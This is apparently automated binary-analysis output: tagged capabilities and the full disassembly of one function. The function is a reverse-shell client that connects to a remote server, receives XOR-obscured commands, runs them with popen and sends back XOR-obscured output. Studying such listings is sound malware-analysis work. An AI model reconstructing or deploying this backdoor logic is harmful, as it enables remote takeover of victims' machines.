Function at 0x100401129
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x850
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x7e0], rcx
mov dword [rbp + 0x7e8], edx
call sym.dummyFunction__
mov r8d, 0
mov edx, 1
mov ecx, 2
call sym.socket
mov dword [rbp + 0x7cc], eax
cmp dword [rbp + 0x7cc], 0xffffffff
jne 0x10040119f
lea rax, str.Socket_creation_failed.
mov rdx, rax
mov rax, qword [sym.imp.cygstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x100403100]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x100401410
mov rcx, qword [rbp + 0x7e0]
call sym.inet_addr
mov dword [rbp + 0x7a4], eax
mov word [rbp + 0x7a0], 2
mov eax, dword [rbp + 0x7e8]
movzx eax, ax
mov ecx, eax
call sym.htons
mov word [rbp + 0x7a2], ax
lea rdx, [rbp + 0x7a0]
mov eax, dword [rbp + 0x7cc]
mov r8d, 0x10
mov ecx, eax
call sym.connect
shr eax, 0x1f
test al, al
je 0x100401222
lea rax, str.Connection_failed.
mov rdx, rax
mov rax, qword [sym.imp.cygstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x100403100]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x100401410
lea rax, str.Connected_to_server._Awaiting_commands...
mov rdx, rax
mov rax, qword [sym.imp.cygstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x100403100]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp + 0x3a0]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sym.memset
lea rdx, [rbp + 0x3a0]
mov eax, dword [rbp + 0x7cc]
mov r9d, 0
mov r8d, 0x400
mov ecx, eax
call sym.recv
mov dword [rbp + 0x7c8], eax
cmp dword [rbp + 0x7c8], 0
jns 0x1004012c6
lea rax, str.Receiving_failed.
mov rdx, rax
mov rax, qword [sym.imp.cygstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x100403100]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x100401402
mov edx, dword [rbp + 0x7c8]
lea rax, [rbp + 0x3a0]
mov rcx, rax
call sym.xorEncryptDecrypt_char__int_
lea rax, [rbp + 0x3a0]
mov r8d, 4
lea rdx, str.exit
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x10040132b
lea rax, str.Connection_closed.
mov rdx, rax
mov rax, qword [sym.imp.cygstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x100403100]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x100401402
lea rax, [rbp + 0x3a0]
lea rdx, [0x100403094]
mov rcx, rax
call sym.popen
mov qword [rbp + 0x7c0], rax
cmp qword [rbp + 0x7c0], 0
jne 0x1004013c9
lea rax, str.Command_execution_failed.
mov rdx, rax
mov rax, qword [sym.imp.cygstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x100403100]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x10040124d
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strlen
mov dword [rbp + 0x7bc], eax
mov edx, dword [rbp + 0x7bc]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.xorEncryptDecrypt_char__int_
mov eax, dword [rbp + 0x7bc]
movsxd rcx, eax
lea rdx, [rbp - 0x60]
mov eax, dword [rbp + 0x7cc]
mov r9d, 0
mov r8, rcx
mov ecx, eax
call sym.send
mov rdx, qword [rbp + 0x7c0]
lea rax, [rbp - 0x60]
mov r8, rdx
mov edx, 0x400
mov rcx, rax
call sym.fgets
test rax, rax
setne al
test al, al
jne 0x100401382
mov rax, qword [rbp + 0x7c0]
mov rcx, rax
call sym.pclose
jmp 0x10040124d
mov eax, dword [rbp + 0x7cc]
mov ecx, eax
call sym.close
nop
add rsp, 0x850
pop rbp
ret